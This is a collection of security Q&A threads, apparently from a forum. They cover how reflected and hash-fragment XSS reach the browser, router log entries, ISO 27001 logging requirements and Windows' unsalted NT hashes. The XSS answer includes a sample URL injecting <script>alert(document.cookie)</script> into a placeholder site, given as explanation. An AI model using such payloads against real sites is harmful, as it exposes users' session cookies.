1) In what sequence does a server and a browser parse javascript? Let's say for example 1), as soon as the above request is typed in a browser and sent to vulnerable.site, the cgi would handle the request via GET/POST parameters. Here, it would extract the required values from the GET/POST request, do some server side processing and return back a response in html. So where is the javascript in one of the parameters embedded in the response?

2) Similarly, for example 2) i read that # character would prevent the  to be sent to the server side. So the server will only receive a request like      http://www.vulnerable.site/attachment.cgi?id=&action=foobar and not the complete url. So what happens to the javascript that follows? Does the browser run it directly?

The server does not parse JavaScript except under very specific circumstances (i.e. you run NodeJS and you eval() a user input. Someone would have to be bloody stupid to do that or have a very valid reason to do so). So, the server does not see/care about the actual content of the code, and it won't be executed server-side. The reason for something like this is that, usually, user values are usually echoed somewhere on the page - this is why you pass them through an URL or store them on the server - so that they are used. When the server has sent its reply, the browser then runs whatever code it gets.
Indeed, you are correct on this. The hashtag is never sent to the server; however, there may be some client-side processing, most notably with MVC libraries like Spine.js. These things use the hashtag value to store history elements and perform actions based on them - like showing pages, doing stuff or echoing code.

You'll notice that in both cases, the vector is "echoing code". The entire purpose is to get an extra script tag on your page, where it will run and alert cookies. The first one, once corrected, is a very good example of another flaw:

http://www.vulnerable.site/welcome.html?foobar=&name=<script>alert(document.cookie)</script>&name=Joe

This request has two name parameters. HTTP pollution? Likely.


Home broadband security logs I checked my home (broadband)routers security logs just today and found these logs

LAN Attack: IN=ptm0.1 OUT=n/a MAC="mac address here"a SRC="source ip address here" DST="my public ip address here" LEN=129 TOS=0x00 PREC=0x00 TTL=115 PROTO=UDP SPT=6881 DPT=15936 LEN=109 MARK=0x8000000

and second log:

Port Scan Attack: IN=ptm0.1 OUT=n/a MAC="mac address here"2 SRC="source ip address here"DST="my public ip address here" LEN=100 TOS=0x00 PREC=0x00 TTL=118 PROTO=UDP SPT=13291 DPT=54327 LEN=80 MARK=0x8000000

These two logs have been appearing in my sec logs every day since June this year and there are already over 600 entries, probably .I can't view older logs

Can you explain what do these logs mean? Is this an actual attack? Can I prevent it?

PROTO=UDP SPT=6881

TCP or UDP on port 6881 is usually associated with BitTorrent.  Most likely you (or a former user of your IP address) used BitTorrent for downloading something, and this is just a routine check to see if your computer is still part of the relevant BitTorrent swarm.  Nothing to worry about.

PROTO=UDP SPT=13291 DPT=54327

This could be anything.  Neither UDP port 13291 nor UDP port 54327 is associated with anything in particular; this could be backscatter, or a corrupted UDP packet, or leftovers from a VOIP session, or who-knows-what.  The one thing it probably isn't is a port scan: UDP port scans are slow, so an attacker will usually only scan ports that are likely to have something interesting on them.


Is it a ISO27001 requirement to record details of all instant messages? Our organisation is currently working towards ISO27001 accreditation and we use Skype. We are wondering whether it is a definite requirement to record and keep logs of all the instant messages sent and received?

Usually ISO27k does not require specific methods to be implemented. It however requires specific documents (such as the perimeter and politic of the ISMS, a description of the risk analysis method, a Statement of Applicability, ...). You will never read "you have to implement a complete retention of logs for instant messages".

The ISO27002 defines some of the best-practices for implementing ISO27001, maybe you will find here that this type of control is suggested. But again not mandatory.

What can (usually) happen to make this a requirement is:

You stated in your documents that you do it
You stated in your documents that you have to comply to the X regulatory which requires to keep these logs.

ISO27k is a framework that dictates how the management of security should go, not how the security should be implemented. However, it will ask to write descriptions of what you are doing and audits will verify that you do what you say you are doing.


Does Windows really still use unsalted MD4 for password storage? I find it quite difficult to believe that the passwords in Active Directory for Windows 2008 R2 are still stored using the unsalted MD4 (aka "NT Hash") algorithm.

Can it really be true?

I've been revising my understanding of password storage recently, and learning how to use PKDBF2 properly.  Then I thought I'd look up what major commercial organisations used.  At which point I put my head in my hands!  Unsalted MD4 in Windows.  And that's an improvement on the LM hash.  And there are plenty of other bad examples.  /etc/shadow with a decent crypt is just about the only good implementation in major commercial / opensource.

MySQL's OLD_PASSWORD is terrible, even the new PASSWORD is just unsalted SHA-1 twice.

Is the general commercial / opensource sector really that bad?

NTLMv1 uses MD4, v2 uses MD5, and the Windows implementation of Kerberos uses a KDF using HMAC-SHA1 for AES 128/256.  Active Directory can actually store multiple types of hashes of passwords depending on what you are wanting it to do, and what versions of protocols are enabled.
Yes, Active Directory uses unsalted passwords. Is this a security problem? Theoretically yes, but practically probably not. The AD database was designed to be stored in a protected environment where only trusted people have access to the actual file, and only trusted systems can read the data in the file.  A salt really only adds value if the particular store containing the password is accessible by potentially non-trusted people and/or non-trusted systems like a SQL database that also contains content.  If you are letting anyone and everyone access the AD database you have bigger problems than password salts.
Then of course the other side of this goes to backwards-compatibility as well.  Microsoft has to make sure the current version of AD is backwards compatible with the one 4 versions prior.  Is this good for security? Not really, but they would be crucified if the versions weren't compatible.  Are they changing the hashes to something more secure? Yes, albeit slowly.